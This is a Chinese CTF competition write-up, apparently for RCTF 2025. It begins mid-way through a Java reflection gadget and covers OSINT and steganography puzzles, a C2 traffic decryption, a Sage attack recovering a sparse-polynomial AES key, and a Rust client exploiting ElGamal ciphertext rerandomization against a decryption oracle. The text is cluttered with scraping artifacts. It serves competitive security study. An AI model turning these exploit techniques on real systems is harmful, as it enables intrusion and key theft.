&nbsp;&nbsp;Object&nbsp;right&nbsp;=&nbsp;nodeCons.newInstance(v2,&nbsp;new&nbsp;Object[0], node);&nbsp; &nbsp; &nbsp; &nbsp; ReflectionHelper.setFieldValue(node,&nbsp;"right", right);&nbsp; &nbsp; &nbsp; &nbsp; ReflectionHelper.setFieldValue(m,&nbsp;"root", node);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TreeSet&nbsp;set&nbsp;=&nbsp;new&nbsp;TreeSet();&nbsp; &nbsp; &nbsp; &nbsp; ReflectionHelper.setFieldValue(set,&nbsp;"m", m);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;set;&nbsp; &nbsp; }
}

Misc

Speak Softly Love

ounter(lineounter(lineounter(lineounter(line1.8ssDGBTssUI2.r1783.https://mateusz.viste.fr/mateusz.ogg4.16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

第一问

根据视频试图先找到电脑型号，然后结合关键词music，youtube搜索找到这个。

ounter(line8ssDGBTssUI

第二问

查找DOSmid

ounter(linehttps://www.vogons.org/viewtopic.php?t=44947

先找到关于这个的大致信息

使用的svn

ounter(linesvn co&nbsp;svn://svn.mateusz.fr/dosmid dosmid-svn

然后基于上述关键词去查找

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log&nbsp;-r&nbsp;200:350&nbsp;|&nbsp;egrep&nbsp;-i "playlist|m3u|freeze|empty|loop|soft"freezed v0.9&nbsp;to&nbsp;tagsfreezed v0.9.1&nbsp;to&nbsp;tagssequential playing&nbsp;of&nbsp;playlists, inspired&nbsp;by&nbsp;a patch proposed&nbsp;by&nbsp;Graham Wisemanfreezed v0.9.2&nbsp;into&nbsp;tagsfreezed v0.9.3&nbsp;to&nbsp;tagsm3u playlist uses fio calls instead&nbsp;of&nbsp;fopen()&nbsp;and&nbsp;friendsfix:&nbsp;/random was always playing&nbsp;first&nbsp;song&nbsp;of&nbsp;the m3u list, now it&nbsp;is&nbsp;random&nbsp;from&nbsp;the&nbsp;startfixed playlist gap delay computation (fixed&nbsp;/delay behavior, too)freezed v0.9.4&nbsp;to&nbsp;tagsfreezed v0.9.5&nbsp;to&nbsp;tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log&nbsp;-r&nbsp;1:200&nbsp;|&nbsp;egrep&nbsp;-i "playlist|m3u|freeze|empty|loop|soft"do&nbsp;not&nbsp;freeze&nbsp;when&nbsp;no&nbsp;MPU401&nbsp;is&nbsp;respondingsetting volume&nbsp;in&nbsp;software again, reinstated&nbsp;default&nbsp;delay=2ms, improved keyboard reaction times&nbsp;and&nbsp;adjusted documentationadded INT28h powersaving during idle loopsdetecting&nbsp;when&nbsp;a playlist&nbsp;is&nbsp;passed&nbsp;on&nbsp;command-line (but&nbsp;no&nbsp;m3u support yet)first&nbsp;semi-experimental M3U supportfreezed v0.6&nbsp;into&nbsp;tagsfreezed v0.6.1&nbsp;into&nbsp;tagsfreezed v0.7&nbsp;in&nbsp;tagsfreezed v0.8&nbsp;into&nbsp;tagsadded an&nbsp;empty&nbsp;and&nbsp;self-documented configuration file2s silence gap&nbsp;is&nbsp;inserted&nbsp;only&nbsp;in&nbsp;playlist mode (no&nbsp;reason&nbsp;to&nbsp;wait&nbsp;2s&nbsp;for&nbsp;a single file)fixed freezing&nbsp;when&nbsp;fed&nbsp;with&nbsp;an&nbsp;empty&nbsp;playlistif too many&nbsp;'soft'&nbsp;errors occur&nbsp;in&nbsp;a&nbsp;row, dosmid aborts (protects against&nbsp;'soft errors loops', typically&nbsp;with&nbsp;playlist filled&nbsp;with&nbsp;non-existing files)add&nbsp;a note about&nbsp;empty&nbsp;titles,&nbsp;when&nbsp;no&nbsp;textual data could be found&nbsp;in&nbsp;the midi fileignore&nbsp;leading&nbsp;empty&nbsp;title linesfreezed v0.9&nbsp;to&nbsp;tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log&nbsp;-r&nbsp;1:200&nbsp;|&nbsp;grep&nbsp;-n "soft"260:setting volume&nbsp;in&nbsp;software again, reinstated&nbsp;default&nbsp;delay=2ms, improved keyboard reaction times&nbsp;and&nbsp;adjusted documentation712:if too many&nbsp;'soft'&nbsp;errors occur&nbsp;in&nbsp;a&nbsp;row, dosmid aborts (protects against&nbsp;'soft errors loops', typically&nbsp;with&nbsp;playlist filled&nbsp;with&nbsp;non-existing files)root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log&nbsp;-r&nbsp;1:200&nbsp;|&nbsp;sed&nbsp;-n&nbsp;'710,720p'r178&nbsp;|&nbsp;mv_fox&nbsp;|&nbsp;2016-05-09&nbsp;01:21:38&nbsp;+0800&nbsp;(Mon,&nbsp;09&nbsp;May&nbsp;2016)&nbsp;|&nbsp;1&nbsp;line
if too many&nbsp;'soft'&nbsp;errors occur&nbsp;in&nbsp;a&nbsp;row, dosmid aborts (protects against&nbsp;'soft errors loops', typically&nbsp;with&nbsp;playlist filled&nbsp;with&nbsp;non-existing files)------------------------------------------------------------------------r179&nbsp;|&nbsp;mv_fox&nbsp;|&nbsp;2016-05-09&nbsp;01:25:49&nbsp;+0800&nbsp;(Mon,&nbsp;09&nbsp;May&nbsp;2016)&nbsp;|&nbsp;1&nbsp;line
replaced sleep() calls&nbsp;with&nbsp;equivalent udelay() calls (makes the&nbsp;binary&nbsp;128&nbsp;bytes lighter)------------------------------------------------------------------------r180&nbsp;|&nbsp;mv_fox&nbsp;|&nbsp;2016-05-10&nbsp;02:04:00&nbsp;+0800&nbsp;(Tue,&nbsp;10&nbsp;May&nbsp;2016)&nbsp;|&nbsp;1&nbsp;line
fetching more textual data&nbsp;from&nbsp;MIDI files (text events, tracks titles, marker events...)&nbsp;and&nbsp;displaying it&nbsp;on&nbsp;a little scrolling&nbsp;window

可以锁定在r178-180，然后试r178就直接对了

ounter(liner178

第三问

根据评论区找到主页

ounter(lineounter(lineounter(lineounter(line主页里想联系我吗？我的电子邮件地址与此网页的地址几乎相同（[email protected]）。令人惊讶的是，很多人难以念出我的名字，所以这里附上我的名字（图片来自 Wikimedia）。https://mateusz.viste.fr/mateusz.ogg

第四问

在主页发现了

ounter(linegopher://gopher.viste.fr

在26里找到了

ounter(line16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

The Alchemist’s Cage

Wanna Feel Love

Challenge 1

She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.

邮件隐写

ounter(linehttps://www.spammimic.com

ounter(lineDon't just listen to the sound; this file is hiding an 'old&nbsp;relic.' Try looking for the 'comments' that the player isn't supposed&nbsp;to&nbsp;see.

Challenge 2

She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.

然后下载openmpt

评论和乐曲名有提示

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#!/usr/bin/env python3# -*- coding: utf-8 -*-
"""Decode hidden message from feel.wav binary-bar waveform.Expected output: I Feel Fantastic heyheyhey"""
import&nbsp;numpy&nbsp;as&nbsp;npfrom&nbsp;scipy.io&nbsp;import&nbsp;wavfile

def&nbsp;read_mono_pcm(path:&nbsp;str):&nbsp; &nbsp; rate, data = wavfile.read(path)&nbsp; &nbsp; data = data.astype(float)&nbsp; &nbsp;&nbsp;if&nbsp;data.ndim >&nbsp;1: &nbsp;&nbsp;# 立体声只取一个声道&nbsp; &nbsp; &nbsp; &nbsp; data = data[:,&nbsp;0]&nbsp; &nbsp;&nbsp;return&nbsp;rate, data

def&nbsp;compute_envelope(data: np.ndarray, window_size:&nbsp;int&nbsp;=&nbsp;100) -> np.ndarray:&nbsp; &nbsp;&nbsp;"""对绝对值做滑动平均，得到能量包络"""&nbsp; &nbsp; abs_data = np.abs(data)&nbsp; &nbsp; n =&nbsp;len(abs_data) // window_size * window_size&nbsp; &nbsp; reshaped = abs_data[:n].reshape(-1, window_size)&nbsp; &nbsp; env = reshaped.mean(axis=1)&nbsp; &nbsp;&nbsp;return&nbsp;env

def&nbsp;binarize_envelope(env: np.ndarray) -> np.ndarray:&nbsp; &nbsp;&nbsp;"""根据能量双峰分布自动求阈值，得到 0/1 序列"""&nbsp; &nbsp; median_env = np.median(env)&nbsp; &nbsp; low_level = np.median(env[env < median_env])&nbsp; &nbsp; high_level = np.median(env[env > median_env])&nbsp; &nbsp; threshold = (low_level + high_level) /&nbsp;2.0&nbsp; &nbsp; bits_raw = (env > threshold).astype(int)&nbsp; &nbsp;&nbsp;return&nbsp;bits_raw

def&nbsp;run_length_encode(bits: np.ndarray):&nbsp; &nbsp; runs = []&nbsp; &nbsp; current = bits[0]&nbsp; &nbsp; length =&nbsp;1&nbsp; &nbsp;&nbsp;for&nbsp;b&nbsp;in&nbsp;bits[1:]:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;b == current:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length +=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; runs.append((current, length))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; current = b&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length =&nbsp;1&nbsp; &nbsp; runs.append((current, length))&nbsp; &nbsp;&nbsp;return&nbsp;runs

def&nbsp;expand_runs_to_bits(runs):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; 每一串 0/1 在时间上会持续若干个“单位长度”，&nbsp; &nbsp; 大部分长度约是 22 的倍数，这里固定 base_unit = 22，&nbsp; &nbsp; 再按 round(length / base_unit) 还原成重复 bit。&nbsp; &nbsp; """&nbsp; &nbsp; base_unit =&nbsp;22.0&nbsp;&nbsp;# 针对 feel.wav 这题是固定的&nbsp; &nbsp; bit_list = []&nbsp; &nbsp;&nbsp;for&nbsp;v, l&nbsp;in&nbsp;runs:&nbsp; &nbsp; &nbsp; &nbsp; n =&nbsp;int(round(l / base_unit))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;n <=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n =&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; bit_list.extend([v] * n)&nbsp; &nbsp;&nbsp;return&nbsp;bit_list

def&nbsp;bits_to_ascii(bit_list):&nbsp; &nbsp; bitstr =&nbsp;"".join(str(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;bit_list)&nbsp; &nbsp; bitstr = bitstr[:&nbsp;len(bitstr) //&nbsp;8&nbsp;*&nbsp;8] &nbsp;# 截断到 8 的倍数&nbsp; &nbsp; bytes_vals = [int(bitstr[i : i +&nbsp;8],&nbsp;2)&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(bitstr),&nbsp;8)]&nbsp; &nbsp; msg =&nbsp;"".join(chr(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;bytes_vals)&nbsp; &nbsp;&nbsp;return&nbsp;msg, bytes_vals, bitstr

def&nbsp;decode_hidden_message(path:&nbsp;str):&nbsp; &nbsp; rate, data = read_mono_pcm(path)&nbsp; &nbsp; env = compute_envelope(data, window_size=100)&nbsp; &nbsp; bits_raw = binarize_envelope(env)&nbsp; &nbsp; runs = run_length_encode(bits_raw)&nbsp; &nbsp; bit_list = expand_runs_to_bits(runs)&nbsp; &nbsp; msg, bytes_vals, bitstr = bits_to_ascii(bit_list)&nbsp; &nbsp;&nbsp;return&nbsp;msg, bytes_vals, bitstr

if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp;&nbsp;# 把这里改成你的文件名（与脚本在同一路径下）&nbsp; &nbsp; wav_path =&nbsp;"feel.wav"
&nbsp; &nbsp; msg, bytes_vals, bitstr = decode_hidden_message(wav_path)
&nbsp; &nbsp;&nbsp;print("Decoded bytes:", bytes_vals)&nbsp; &nbsp;&nbsp;print("Decoded message:")&nbsp; &nbsp;&nbsp;print(msg)

ounter(lineI&nbsp;Feel Fantastic heyheyhey

Challenge 3

She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.

在网络存档上找到原视频

ounter(linehttps://archive.org/details/youtube-rLy-AwdCOmI

ounter(lineounter(lineounter(linerLy-AwdCOmICreepyblog2009-04-15

Challenge 4

Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?

查找购买，基本AI就能出

ounter(lineounter(lineounter(linehttps://androidworld.com/prod68.htmChris&nbsp;Willis2004

Challenge 5

本题也是基本AI出的，多提示词几次，就会给出下面这个，但是有个坑点

john-louis-bergeron和john_louis-bergeron都会导航到那个网站，但是交后面那个是错误，因为这个卡住了，错失三血

ounter(linehttps://www.findagrave.com/memorial/63520325/john-louis-bergeron

直接看网页源代码。

发现100分就有flag了

Shadows of Asgard

是一个C2流量分析。

先找到C2上线的包

发现直接给aeskey和iv了。让ai搓了个脚本，成功解密data。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineimport base64, jsonfrom Crypto.Cipher import AES
aesKey_b64 =&nbsp;"WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="aesIV_b64 &nbsp;=&nbsp;"WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="data_b64 &nbsp; =&nbsp;"N2M3N2ZlN2ExYTdhZGMxY2E3MmZhMzY4MzgxMjUxMjQ5ZDZlYjAwNDQwZWJhYmQ2ZDc4MTVkMjE2OTVmMjAwNzRkY2JmYjgwYmExZTVjMjc5ZWY1NzZhNTQxMTU2YTQxZGI0NjQ3MGNlYTIzMDVkOTFlNDcxN2MyMTljNGQwNWJhYjRlMGQ5Zjg1MTA5MDNmZGQyNTM1M2ZjODI5NmY3MjgxYTEyODNkODIzMDQ1Y2NkYTI4MDI3OTc2NTljNzUzNzI0M2U0MmRhMTQ4MGY4ZDg0ZWQ2YTRjMDA1MjUyNWRjYWIwMDk2M2MyODA1MGJmNTEzNjA2NzNhODdiOTNiZDg1NTNkNWU3NDMzMjk3YmRkNTRiOTQyMjJjZDUzMzg3NzIwMmYwNTU0MDNiMjRlODU5NzkwY2Q5MzliYTZjNGVmMDNjMTkzYTU0Zjc3NTUyY2MyYzJhOThlMmI3NDhmZWViZGY0ZDc5YTM5YzBkZGFlZjUyMzVmZjY4YWYxM2Y0NjFiYTkzMTAwMjhhODY3NWEzOGNiNGU3MTc0YmY1Y2QwYzY4YzdiOGE5NjczMGNlMTEyMGJjNWRjNWQ3ZDNiNGY0NTkxMzc1MGRiNzJiZjQ3NzU5YWQwNGRiOWQxYTBlYjlhMzRmOGZlNDZmMDM5OGI1YWI5YWMzMDBiZTlkNmU1MTA4ZTM1ZWQ2YTRiYTA1MTJmNjJkMjM1YTc1YzQyMTc2MGFkOWNlZWU3YWYyYjM4OTk1MjYxZGJkY2E1NDZk=="data_hex &nbsp; = base64.b64decode(data_b64).decode()# 1. Base64 decodekey_list = json.loads(base64.b64decode(aesKey_b64).decode())iv_list &nbsp;= json.loads(base64.b64decode(aesIV_b64).decode())
# 2. Convert to byteskey_bytes = bytes(key_list)iv_bytes &nbsp;= bytes(iv_list)
# 3. data hex → bytescipher_bytes = bytes.fromhex(data_hex)
# 4. AES-CBC decryptcipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)plaintext = cipher.decrypt(cipher_bytes)
# 5. remove PKCS7 paddingpad = plaintext[-1]plaintext = plaintext[:-pad]
print(plaintext.decode(errors="ignore"))

第一问结果

解上线请求得第二问结果

第三问这里说命令隐藏在图像中

而且流量包里面频繁请求了logo.png，导出来看一下发现的确有base64在里面

得到第三问答案

第四问

第五问结果

RCTF{they always say Raven is inauspicious}

五问回答之后就得到flag了。

Crypto

suanp01y

加密流程：

环：，其中
多项式生成：随机生成两个 41-稀疏、次数的多项式
平移变换：，（为随机平移量）
输出内容：

然后就是AES的CTR模式加密

（环内除法）

将 hint写成代数形式：

记，则：

真正短的有理分式是，其分子分母满足：

均为 41-稀疏多项式

对每个计算：

此时：

当时，，可通过多项式有理重构从中恢复。

有理重构恢复后，枚举所有平移，生成

每次计算作为 AES 密钥，用 CTR 模式解密密文，匹配 RCTF{…}即可

EXP:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom&nbsp;sage.all&nbsp;import&nbsp;*from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AESfrom&nbsp;hashlib&nbsp;import&nbsp;md5
r, d =&nbsp;16381,&nbsp;41R.<x> = GF(2)[]S.<X> = R.quotient(x^r -&nbsp;1)M = x^r -&nbsp;1BMAX = r//3&nbsp;&nbsp;nonce =&nbsp;b"suanp01y"
line1, line2 =&nbsp;open("output.txt","r").read().splitlines()Hstr = line1.split("=",1)[1].strip() &nbsp; &nbsp;H = S(Hstr) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ct =&nbsp;bytes.fromhex(line2.strip())
def&nbsp;wt_R(poly_R):&nbsp; &nbsp;&nbsp;return&nbsp;sum(int(c)&nbsp;for&nbsp;c&nbsp;in&nbsp;poly_R.list())
def&nbsp;eea_ratrec(F_R, M_R, B):&nbsp; &nbsp; r0, r1 = M_R, F_R&nbsp; &nbsp; s0, s1 = R(1), R(0)&nbsp; &nbsp; t0, t1 = R(0), R(1)
&nbsp; &nbsp;&nbsp;def&nbsp;try_pair(A, B):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;A&nbsp;and&nbsp;B&nbsp;and&nbsp;A.degree() <= BMAX&nbsp;and&nbsp;B.degree() <= BMAX:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; A, B = A.monic(), B.monic()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;((F_R*B - A) % M_R) ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;A, B&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None
&nbsp; &nbsp; cand = try_pair(r1, t1)&nbsp; &nbsp;&nbsp;if&nbsp;cand:&nbsp;return&nbsp;cand&nbsp; &nbsp;&nbsp;while&nbsp;r1 !=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; q, r2 = r0.quo_rem(r1)&nbsp; &nbsp; &nbsp; &nbsp; r0, r1 = r1, r2&nbsp; &nbsp; &nbsp; &nbsp; s0, s1 = s1, s0 - q*s1&nbsp; &nbsp; &nbsp; &nbsp; t0, t1 = t1, t0 - q*t1
&nbsp; &nbsp; &nbsp; &nbsp; cand = try_pair(r0, t0)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cand:&nbsp;return&nbsp;cand&nbsp; &nbsp; &nbsp; &nbsp; cand = try_pair(r1, t1)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cand:&nbsp;return&nbsp;cand
&nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError("no bounded solution")
t0_R = t1_R =&nbsp;Nonegood_delta =&nbsp;None
for&nbsp;delta&nbsp;in&nbsp;range(r):&nbsp; &nbsp; H_delta = S(X^delta) * H&nbsp; &nbsp; F_delta = H_delta.lift()&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; A, B = eea_ratrec(F_delta, M, BMAX)&nbsp; &nbsp;&nbsp;except&nbsp;RuntimeError:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp;&nbsp;if&nbsp;wt_R(B) == d&nbsp;or&nbsp;wt_R(A) == d:&nbsp; &nbsp; &nbsp; &nbsp; t0_R, t1_R = (B, A)&nbsp;if&nbsp;wt_R(B) == d&nbsp;else&nbsp;(A, B)&nbsp; &nbsp; &nbsp; &nbsp; good_delta = delta&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 找到可重构的 δ =&nbsp;{delta}&nbsp;，wt(t0)={wt_R(t0_R)}, wt(t1)={wt_R(t1_R)}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
if&nbsp;t0_R&nbsp;is&nbsp;None:&nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit("[-] 遍历 δ 未能重构到 41-稀疏分母")
def&nbsp;decrypt_try(h0_S):&nbsp; &nbsp; key = md5(str(h0_S).encode()).digest()&nbsp; &nbsp;&nbsp;return&nbsp;AES.new(key=key, nonce=nonce, mode=AES.MODE_CTR).decrypt(ct)
t0_S = S(t0_R)flag =&nbsp;Nonefor&nbsp;k&nbsp;in&nbsp;range(r):&nbsp; &nbsp; h0 = S(X^k) * t0_S&nbsp; &nbsp; pt = decrypt_try(h0)&nbsp; &nbsp;&nbsp;if&nbsp;pt.startswith(b"RCTF{")&nbsp;and&nbsp;pt.rstrip().endswith(b"}")&nbsp;and&nbsp;all(32&nbsp;<= b <=&nbsp;126&nbsp;for&nbsp;b&nbsp;in&nbsp;pt):&nbsp; &nbsp; &nbsp; &nbsp; flag = pt.decode()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] FOUND flag:", flag)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break"""[+] 找到可重构的 δ = 12921 ，wt(t0)=41, wt(t1)=41[+] FOUND flag: RCTF{i_just_h0pe_ChatGPT_doesnt_inst@ntly_so1ve_thi5_one.}"""

ReParing

题目基于 BLS12-381 配对的加密系统，服务端通过 Rust + arkworks 实现

这是一个 ElGamal 结构，可以被重随机化，而题目又给了我们一个“解密后 KDF(key) 的 oracle”。

我们选任意，定义新的密文：

原来随机数是：，；

现在变成：，；

同样从调整为。

对调用同一个解密函数：

写成的形式：

代入：

再用：

于是：

对任意，按上面的公式重随机化之后的密文，解密出来的仍然是同一个会话密钥。

而在交互协议里，只要跟原来的三分量不同时相等，就会被认为是“新密文”，从而返回。

得到hex(KDF(S))直接和encrypted_flag异或即可

exp：

文件结构

exp/ ├── Cargo.toml └── src/ └── main.rs

Cargo.toml：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line[package]name =&nbsp;"exp"version =&nbsp;"0.1.0"edition =&nbsp;"2024"
[dependencies]ark-bls12-381 =&nbsp;"0.5"ark-ec &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;"0.5"ark-ff &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;"0.5"ark-serialize &nbsp;=&nbsp;"0.5"hex &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"0.4"

src/main.rs:

我们沿用题目的序列化规则即可

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineuse std::io::{Read, Write};use std::net::TcpStream;
use ark_bls12_381::{Bls12_381, Fr, G1Affine, G1Projective, G2Affine, G2Projective};use ark_ec::{pairing::Pairing, CurveGroup, PrimeGroup};use ark_ff::{PrimeField, Field};use ark_serialize::{CanonicalDeserialize, CanonicalSerialize};
type&nbsp;GT&nbsp;=&nbsp;<Bls12_381 as Pairing>::TargetField;
fn&nbsp;parse_g1_hex(s: &str)&nbsp;-> G1Projective {&nbsp; &nbsp;&nbsp;let&nbsp;b&nbsp;=&nbsp;hex::decode(s).expect("bad hex g1");&nbsp; &nbsp;&nbsp;let&nbsp;a&nbsp;=&nbsp;G1Affine::deserialize_compressed(&*b).expect("bad g1");&nbsp; &nbsp; G1Projective::from(a)}fn&nbsp;parse_g2_hex(s: &str)&nbsp;-> G2Projective {&nbsp; &nbsp;&nbsp;let&nbsp;b&nbsp;=&nbsp;hex::decode(s).expect("bad hex g2");&nbsp; &nbsp;&nbsp;let&nbsp;a&nbsp;=&nbsp;G2Affine::deserialize_compressed(&*b).expect("bad g2");&nbsp; &nbsp; G2Projective::from(a)}fn&nbsp;parse_gt_hex(s: &str)&nbsp;-> GT {&nbsp; &nbsp;&nbsp;let&nbsp;b&nbsp;=&nbsp;hex::decode(s).expect("bad hex gt");&nbsp; &nbsp; GT::deserialize_compressed(&*b).expect("bad gt")}fn&nbsp;hex_g1(p: &G1Projective)&nbsp;-> String {&nbsp; &nbsp; let a: G1Affine = (*p).into_affine();&nbsp; &nbsp; let&nbsp;mut&nbsp;v&nbsp;=&nbsp;Vec::new();&nbsp; &nbsp; a.serialize_compressed(&mut v).unwrap();&nbsp; &nbsp; hex::encode(v)}fn&nbsp;hex_g2(p: &G2Projective)&nbsp;-> String {&nbsp; &nbsp; let a: G2Affine = (*p).into_affine();&nbsp; &nbsp; let&nbsp;mut&nbsp;v&nbsp;=&nbsp;Vec::new();&nbsp; &nbsp; a.serialize_compressed(&mut v).unwrap();&nbsp; &nbsp; hex::encode(v)}fn&nbsp;hex_gt(x: >)&nbsp;-> String {&nbsp; &nbsp; let&nbsp;mut&nbsp;v&nbsp;=&nbsp;Vec::new();&nbsp; &nbsp; x.serialize_compressed(&mut v).unwrap();&nbsp; &nbsp; hex::encode(v)}
fn&nbsp;xor_in_place(a: &mut [u8], b: &[u8])&nbsp;{&nbsp; &nbsp;&nbsp;for&nbsp;(x, y) in a.iter_mut().zip(b.iter()) {&nbsp; &nbsp; &nbsp; &nbsp; *x ^= *y;&nbsp; &nbsp; }}
